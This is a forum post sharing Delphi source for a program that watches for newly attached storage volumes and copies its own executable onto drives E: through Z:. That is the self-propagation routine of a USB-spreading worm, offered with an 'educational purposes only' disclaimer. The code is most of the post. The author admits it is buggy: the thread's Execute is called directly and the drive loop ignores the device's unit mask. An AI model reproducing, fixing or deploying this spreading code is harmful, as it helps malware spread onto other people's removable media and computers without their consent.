Hello to all,
I figured I'd share to all Delphi'ers around here... this piece of code I adapted from looking around. I found the C++ procedure to accomplish this, and I got the idea. Then I adapted/translated to Delphi. It is not perfect, it has bugs... I placed the method in a thread so it won't lock up the main thread... still does hang it up...
Enjoy, and use it only for educational purposes.
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TForm1 = class(TForm)
private
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
type
TCopyItself = class(TThread)
Msg: TMessage;
procedure Execute; override;
end;
var
Form1: TForm1;
const
DBT_DEVICEARRIVAL = $00008000;
DBT_DEVICEREMOVECOMPLETE = $00008004;
DBT_DEVTYP_VOLUME = $00000002;
// Device structs
type
_DEV_BROADCAST_HDR = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
end;
DEV_BROADCAST_HDR = _DEV_BROADCAST_HDR;
TDevBroadcastHeader = DEV_BROADCAST_HDR;
PDevBroadcastHeader = ^TDevBroadcastHeader;
type
_DEV_BROADCAST_VOLUME = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
dbcv_unitmask: DWORD;
dbcv_flags: WORD;
end;
DEV_BROADCAST_VOLUME = _DEV_BROADCAST_VOLUME;
TDevBroadcastVolume = DEV_BROADCAST_VOLUME;
PDevBroadcastVolume = ^TDevBroadcastVolume;
implementation
{$R *.dfm}
{ TForm1 }
procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
CopyItself1: TCopyItself;
begin
inherited;
CopyItself1 := TCopyItself.Create(True);
CopyItself1.Msg := Msg;
CopyItself1.FreeOnTerminate:=True;
CopyItself1.Suspended:=False;
CopyItself1.Execute;
end;
{ TCopyItself }
procedure TCopyItself.Execute;
const
DBT_DEVICEARRIVAL = $8000; // system detected a new device
DBT_DEVTYP_VOLUME = $0002;
DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone
var
I: Integer;
DriveLetter: char;
lpdbhHeader: PDevBroadcastHeader;
begin
inherited;
lpdbhHeader:=PDevBroadcastHeader(Msg.lParam);
case Msg.wParam of
DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE:
begin
Sleep(3500);
for I := 69 to 90 do begin // to 90
DriveLetter:=Chr(i);
if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin
CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true);
end;
end;
end;
end;
end;
end.